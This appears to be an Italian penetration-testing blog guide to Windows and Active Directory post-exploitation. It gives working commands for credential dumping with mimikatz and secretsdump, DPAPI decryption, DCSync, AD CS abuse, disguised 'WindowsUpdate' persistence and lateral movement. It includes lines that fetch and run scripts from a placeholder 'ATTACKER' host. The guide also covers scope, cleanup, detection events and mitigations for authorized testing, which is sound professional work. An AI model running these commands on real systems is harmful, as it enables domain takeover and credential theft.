guides-resources

Post-Exploitation Windows e Active Directory: Guida Completa

Post-Exploitation Windows e Active Directory: Guida Completa

Post-exploitation Windows e Active Directory: enumerazione, privilege escalation, credential dumping, persistence, lateral movement e cleanup operativo.

  • Pubblicato il 2026-07-16
  • Tempo di lettura: 8 min

Post-Exploitation Windows e Active Directory: dal Foothold all’Obiettivo #

Ottenere una shell è il punto di partenza, non il traguardo. La differenza tra un foothold e un obiettivo raggiunto sta nel metodo con cui si sfrutta quell’accesso iniziale. Una sessione post-exploitation gestita male — comandi rumorosi, tool lasciati su disco, dumping indiscriminato — viene rilevata prima di arrivare da nessuna parte.

Il post-exploitation non è una sequenza fissa di comandi. È un ciclo decisionale che si adatta ai privilegi ottenuti, alle protezioni presenti sul sistema (Credential Guard, LSA protection, EDR) e allo scope dell’engagement. Dopo la situational awareness, credential access e privilege escalation vengono valutati in parallelo, non in ordine rigido: a volte serve scalare prima di poter accedere alle credenziali, altre volte è il contrario.

Il post-exploitation non corrisponde a una singola tattica MITRE ATT&CK. A seconda dell’obiettivo può coprire Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control ed Exfiltration.

Ciclo decisionale post-exploitation


Fase 0 — Scope, Obiettivi e Regole d’Ingaggio #

Prima di eseguire qualsiasi comando post-exploitation, conferma sempre:

  • host, domini e subnet inclusi nello scope;
  • account e sistemi esplicitamente esclusi;
  • tecniche vietate o limitate (es. DCSync, modifiche a password/ACL);
  • autorizzazione esplicita a credential dumping, persistence ed esfiltrazione;
  • finestre operative e contatti di emergenza;
  • criteri di raccolta, conservazione e distruzione dei dati;
  • condizioni di stop immediato.

Questa fase distingue una metodologia professionale da una semplice lista di comandi da lab. Su HTB e piattaforme di training lo scope è la macchina stessa — ma il riflesso va comunque allenato, perché è quello che userai in un pentest reale.


Cheat Sheet — Prima Ora di Accesso #

PrioritàAzioneComando rapido
1Chi sono e che privilegi howhoami /all
2Su che sistema sonosysteminfo | findstr /i "os|build"
3AV/EDR presentisc query windefend / tasklist /v
4Network e connessioninetstat -ano / ipconfig /all
5Utenti e sessioniquery session / net user /domain
6Dominio e DCnltest /dsgetdc:corp.local
7Quali fonti di credenziali sono accessibili con i privilegi attualiwhoami /priv
8Pianifica la raccolta AD adatta a scope e rumore consentitovedi Fase 2
9Identifica possibili escalation localivedi Fase 4
10Persistence solo se autorizzata dalle regole d’ingaggiovedi Fase 5

Nota: il dump credenziali e l’avvio di SharpHound non sono azioni automatiche di prima ora — dipendono dai privilegi correnti e dal livello di rumore consentito. Vanno valutati, non eseguiti di default.


Fase 1 — Situational Awareness #

Appena ottenuta la shell, le prime operazioni servono a capire chi sei, dove sei, e cosa puoi fare. Tutto via LOLBins — nessun tool da caricare.

cmd
:: Chi sono e che privilegi ho
whoami /all

:: Informazioni sul sistema
systeminfo

:: Utenti locali
net user
net localgroup administrators

:: Processi in esecuzione
tasklist /v
tasklist /SVC  :: processi associati a servizi

:: Connessioni di rete attive
netstat -ano
ipconfig /all

:: AV e sicurezza attiva
sc query windefend
Get-MpComputerStatus  :: PowerShell
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName, productState

:: Sessioni utente attive
query session
query user

:: Informazioni sul dominio (se joinato)
net group "Domain Admins" /domain
net user /domain
nltest /domain_trusts
powershell
# Verifica lingua PowerShell (CLM attivo?)
$ExecutionContext.SessionState.LanguageMode

# Cerca credenziali in chiaro nei file comuni
Get-ChildItem -Recurse -Include "*.xml","*.txt","*.conf","*.config" -ErrorAction SilentlyContinue |
  Select-String -Pattern "password|passwd|pwd|credential" -ErrorAction SilentlyContinue

# Variabili d'ambiente — spesso contengono credenziali
Get-ChildItem Env:

Fase 2 — Enumerazione Approfondita #

Windows — Tool Automatici #

powershell
# WinPEAS — enumerazione automatica privilege escalation paths
.\winPEASx64.exe

# Seatbelt — enumerazione difensiva e offensiva sistematica
.\Seatbelt.exe -group=all

# Seatbelt — solo le info più rilevanti
.\Seatbelt.exe -group=user -group=system -group=credentialaccess

Vedi articoli dedicati: WinPEAS e Seatbelt.

Active Directory — Enumerazione Dominio #

powershell
# PowerView in memoria — niente file su disco
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')

# Enumerazione base AD
Get-DomainUser -SPN                  # target Kerberoasting
Get-DomainUser -PreauthNotRequired    # target AS-REP Roasting
Get-DomainComputer -Unconstrained     # target Unconstrained Delegation
Find-LocalAdminAccess                 # macchine dove sei local admin

Per la guida completa a PowerView: PowerView.

SharpHound mappa il grafo AD e i path verso l’obiettivo, ma non è “stealth” per definizione: la raccolta DCOnly interroga soprattutto il Domain Controller, senza toccare gli altri host joinati, ma raccoglie comunque membership, trust, permessi, OU e GPO — va comunque valutata rispetto allo scope e al livello di monitoring.

powershell
.\SharpHound.exe -c DCOnly  # raccolta orientata al DC, minor superficie
.\SharpHound.exe -c All     # quadro completo, più rumore

In ambienti ibridi con Entra ID, la raccolta si estende con AzureHound, l’equivalente di SharpHound per il cloud Microsoft: la stessa piattaforma BloodHound può correlare attack path on-prem e cloud.


Fase 3 — Credential Access #

Il credential dumping non è un’azione automatica “prima di tutto il resto”: dipende dai privilegi disponibili e dalle protezioni presenti sul sistema.

powershell
# Privilegi correnti
whoami /priv

# Credential Guard attivo?
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# LSA protection (PPL) attiva?
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL

Credential Guard isola hash NTLM, TGT Kerberos e credenziali di dominio tramite virtualization-based security, e LSA protection impedisce a processi non protetti di leggere o iniettare codice in LSASS — ma non copre tutto: account locali, service ticket Kerberos e credenziali inserite esplicitamente dall’utente restano fuori da questa protezione.

LSASS — Hash in Memoria #

powershell
privilege::debug
sekurlsa::logonpasswords   # dump completo (richiede privilegi adeguati)
sekurlsa::msv              # solo hash NTLM

SAM e SYSTEM — Hash Locali #

cmd
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SAM C:\temp\SAM
bash
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Credenziali in File e Registry #

powershell
.\Seatbelt.exe WindowsCredentialFiles
.\Seatbelt.exe WindowsVault

Get-ChildItem C:\Users -Recurse -Include "*.xml","*.ini","unattend.xml","Unattend.xml" -ErrorAction SilentlyContinue
Get-Content "C:\Windows\Panther\Unattend.xml" -ErrorAction SilentlyContinue

.\SharpChrome.exe logins

Per la guida completa: credential-dumping.

DPAPI — Master Key e Credential Vault #

DPAPI cifra password salvate, cookie di sessione e credenziali di Windows Credential Manager usando una master key derivata dalla password dell’utente (o da un backup key di dominio). Prima cerca i blob cifrati:

cmd
dir /a:h C:\Users\<username>\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\

Poi la master key corrispondente. Se conosci la password dell’utente:

text
mimikatz # dpapi::masterkey /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<password> /protected

Se sei in un dominio con privilegi elevati, puoi chiedere al DC di decifrare la master key via MS-BKRP (RPC), senza conoscere la password dell’utente:

text
mimikatz # dpapi::masterkey /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /rpc

Con privilegi di Domain Admin, puoi esportare la backup key di dominio una sola volta e usarla per decifrare qualsiasi master key utente, anche offline:

text
mimikatz # lsadump::backupkeys /system:<DC_FQDN> /export
mimikatz # dpapi::masterkey /in:<masterkey_file> /pvk:<backup_key.pvk>

Con la master key in chiaro, decifri il blob di credenziali:

text
mimikatz # dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob> /masterkey:<masterkey_in_chiaro>

SharpDPAPI automatizza l’intero flusso (triage di credential/vault/RDG/KeePass) e supporta /rpc, /password, /pvk e /ntlm per la decifratura remota. Attenzione: CVE-2023-36004 riguarda lo spoofing del canale sicuro DPAPI e va menzionato in fase di reporting se il target non è patchato.


Fase 4 — Privilege Escalation #

powershell
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')
Invoke-AllChecks

# Service binaries scrivibili
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*"} |
  Select-Object Name, PathName, StartName

# AlwaysInstallElevated (se entrambe le chiavi sono 1 = PE trivial)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Unquoted service paths
wmic service get name,displayname,pathname,startmode |
  findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """"

Per la guida completa: privilege-escalation-windows.

Nota sull’ordine: credential access e privilege escalation si alimentano a vicenda. A volte servono più privilegi per accedere a una fonte di credenziali; altre volte una credenziale trovata in un file di config è ciò che permette l’escalation. Non trattarle come fasi sequenziali rigide.


Fase 5 — Persistence (Opzionale) #

La persistence non è una fase obbligatoria. In un pentest reale può essere non necessaria, vietata dalle regole d’ingaggio, o rischiosa per la disponibilità del sistema. Per molti engagement è sufficiente dimostrare il percorso e documentarlo, senza lasciare alcun meccanismo attivo al termine.

Per ogni tecnica di persistence valuta sempre: prerequisiti, impatto, artefatti generati, metodo di verifica e cleanup.

Scheduled Task #

powershell
schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c IEX(...)" /sc hourly /ru SYSTEM
bash
impacket-atexec corp.local/administrator:Password123!@<TARGET> "powershell -c ..."

Vedi: scheduled-task.

Registry Run Key #

cmd
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "powershell -nop -w hidden -c IEX(...)" /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\update.exe" /f

Servizio Windows #

cmd
sc create WindowsUpdate binPath= "C:\Windows\Temp\payload.exe" start= auto
sc start WindowsUpdate

Golden Ticket #

Un Golden Ticket usa la chiave dell’account krbtgt, quindi non viene invalidato dal semplice cambio password degli account amministrativi. Resta accettato dai KDC finché la chiave compromessa è valida. La bonifica richiede una rotazione controllata e doppia della password krbtgt, con replica verificata tra tutti i Domain Controller — un singolo reset non basta.

Va trattato come tecnica ad altissimo impatto, da dimostrare solo con autorizzazione esplicita nello scope.


Fase 6 — Lateral Movement e Pivoting #

bash
# Verifica dove sei admin con le credenziali ottenute
nxc smb 192.168.1.0/24 -u administrator -H :NThash

# Esecuzione remota stealth via WMI
impacket-wmiexec -hashes :NThash corp.local/administrator@<TARGET>

# Dump delle credenziali sui nuovi host
impacket-secretsdump -hashes :NThash corp.local/administrator@<TARGET>

Per la guida completa: lateral-movement.

Lateral movement e pivoting non sono sinonimi: lateral movement significa entrare e controllare un altro sistema; pivoting significa rendere raggiungibile una rete o un servizio altrimenti irraggiungibile, usando l’host compromesso come tunnel. Se il target è su una subnet non direttamente accessibile, vedi: Pivoting.


Fase 7 — Domain Compromise e AD CS #

bash
# DCSync — dump di tutti gli hash del dominio
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc -outputfile domain_dump

# Hash krbtgt per Golden Ticket
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc-user krbtgt

Per il dump del dominio: secretsdump.

Un ambiente AD moderno non si esaurisce con DCSync e Golden Ticket. Nella tua metodologia tieni sempre a mente anche: Active Directory Certificate Services, Shadow Credentials, abuso di gMSA, delegazioni Kerberos (constrained/unconstrained/RBCD) e ACL abuse. Ogni tecnica merita — e sul blog ha già, o avrà — un articolo dedicato.

Active Directory Certificate Services (AD CS) #

AD CS è definito nella community “privilege escalation as a service”: basta un template mal configurato per arrivare a Domain Admin senza toccare zero-day. Certipy è lo strumento di riferimento e copre l’intera famiglia ESC1-ESC17.

bash
# Enumerazione completa di CA e template
certipy find -u 'user@corp.local' -p 'Password123!' -dc-ip <DC_IP> -vulnerable -stdout

ESC1 — template che permette a un utente basso privilegio di specificare un SAN arbitrario (es. l’UPN dell’amministratore) con EKU di Client Authentication:

bash
certipy req -u 'user@corp.local' -p 'Password123!' -dc-ip <DC_IP> -target <ADCS_HOST> \
  -ca 'CORP-CA' -template 'ESC1-Template' -upn 'administrator@corp.local'

# Con il certificato ottenuto, richiedi il TGT via PKINIT e recupera l'hash NT
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

ESC4 — permessi di scrittura sul template: puoi riconfigurarlo per renderlo vulnerabile a ESC1, poi sfruttarlo come sopra:

bash
certipy template -u 'user@corp.local' -p 'Password123!' -template 'ESC4-Template' -save-old

ESC8 — AD CS Web Enrollment che accetta autenticazione NTLM, sfruttabile con NTLM relay verso l’endpoint HTTP del CA:

bash
certipy relay -target 'http://<ADCS_HOST>/certsrv/certfnsh.asp' -template DomainController

Ogni riconfigurazione di template (ESC4) va ripristinata a fine test — fa parte della fase di cleanup.


Fase 8 — Collection e Objective Validation #

Il post-exploitation non serve necessariamente ad arrivare a Domain Admin: può servire a dimostrare accesso a documenti, repository, database, segreti applicativi, backup, sistemi industriali, console cloud o dati regolamentati.

Una volta raggiunto l’obiettivo dell’engagement, raccogli solo l’evidenza necessaria:

  • nome e posizione del dato;
  • privilegi richiesti per accedervi;
  • esempio minimo o hash del file (mai il dato completo se non richiesto);
  • screenshot o output controllato;
  • impatto potenziale, quantità e sensibilità dei dati consultati.

Esfiltrazione Simulata e Controllata #

Non serve dimostrare di poter copiare grandi volumi di dati: serve dimostrare il rischio senza causare un incidente reale.

  • usa file sintetici o canary data quando possibile;
  • applica limiti dimensionali alla prova di concetto;
  • cifra i dati trasferiti se autorizzato;
  • registra origine, destinazione e checksum di ogni trasferimento;
  • evita servizi personali non approvati dallo scope;
  • elimina le copie al termine del test;
  • interrompi l’attività se emergono dati fuori scope.

Fase Finale — Cleanup e Ripristino #

  • elimina tool, dump, archivi e file temporanei lasciati sui sistemi;
  • rimuovi scheduled task, servizi, utenti, chiavi Run e ACL aggiunte;
  • chiudi tunnel, listener e sessioni remote ancora attive;
  • ripristina configurazioni e password modificate durante il test;
  • verifica che non restino processi o porte in ascolto;
  • documenta ciò che non è stato possibile ripristinare;
  • conferma la distruzione sicura dei dati raccolti.

Evidenze e Reporting #

Per ogni passaggio significativo, registra: timestamp, host sorgente e destinazione, account e livello di privilegio, comando o tecnica usata, risultato ottenuto, artefatti creati, output o screenshot, cleanup eseguito e raccomandazione difensiva associata. Senza questa fase, una metodologia post-exploitation resta una lista di comandi — non un servizio professionale.


Decision Tree Operativo #

text
Ho una shell
├── Non privilegiata
│   ├── Enum locale
│   ├── Credenziali accessibili all'utente
│   └── Privilege escalation
├── Local admin / SYSTEM
│   ├── Credential sources (LSASS, SAM, DPAPI, service accounts)
│   ├── Sessioni privilegiate
│   ├── LAPS / GMSA
│   └── Accesso ad altri host
└── Account di dominio
    ├── Enumerazione AD (BloodHound/AzureHound)
    ├── ACL / delegation / AD CS
    ├── Attack path verso l'obiettivo
    └── Objective validation

OPSEC: Cosa Non Fare #

  • Non caricare Mimikatz su disco — drop in memoria o usa varianti fileless.
  • Non usare PSExec se il SOC è attivo — crea servizi facilmente rilevabili.
  • Non lasciare scheduled task con nomi ovvi — WindowsUpdate è tanto sospetto quanto backdoor.
  • Non fare discovery rumorosa (Find-LocalAdminAccess su tutto il range) prima di capire il livello di monitoring.
  • Non dimenticare il cleanup di artefatti temporanei alla fine dell’engagement.

Detection per Fase #

FaseTelemetria
DiscoveryEvent ID 4688, Sysmon 1, PowerShell 4104, correlazione command-line
Credential Accessaccesso anomalo a lsass.exe, dump SAM/SECURITY, alert EDR/Defender
PersistenceEvent ID 4697/7045 (servizi), 4698/4702 (scheduled task), modifiche Run Key
Lateral MovementEvent ID 4624/4648, traffico WinRM/WMI/SMB/RDP anomalo
DCSyncEvent ID 4662 generato da un principal non-DC
Collectionaccessi anomali a share, database, archivi compressi
Exfiltrationupload anomali, volumi insoliti, destinazioni di rete nuove
DPAPI abuseaccesso a %APPDATA%\Microsoft\Protect\<SID> da processi non standard, uso di lsadump::backupkeys
AD CS / ESCrichieste di certificato con SAN insolito, enrollment massivo, traffico NTLM verso /certsrv/

Mitigazione #

  • Credential Guard e LSA protection (PPL) attivi su tutti gli endpoint.
  • Windows LAPS per password locali uniche e ruotate automaticamente — riduce il rischio di credential theft e lateral movement.
  • Account amministrativi separati e tiering amministrativo (Tier 0/1/2).
  • Segmentazione di rete e limitazione delle sessioni privilegiate.
  • Auditing PowerShell (blocco script, logging avanzato).
  • Monitoraggio attivo delle richieste DCSync.
  • Remote Credential Guard per sessioni RDP verso host non affidabili.

Conclusione #

Il post-exploitation non è una lista di comandi da eseguire in sequenza — è una metodologia che adatta le tecniche al contesto: privilegi disponibili, protezioni presenti, livello di monitoring, obiettivi dell’engagement. Scope chiaro, valutazione parallela di credential access ed escalation, persistence solo se autorizzata, cleanup e reporting sempre: questo è ciò che separa una demo da lab da un servizio professionale.


Risorse:

#persistence #credential dumping #post-exploitation

lascia un messaggio

Non sono un robot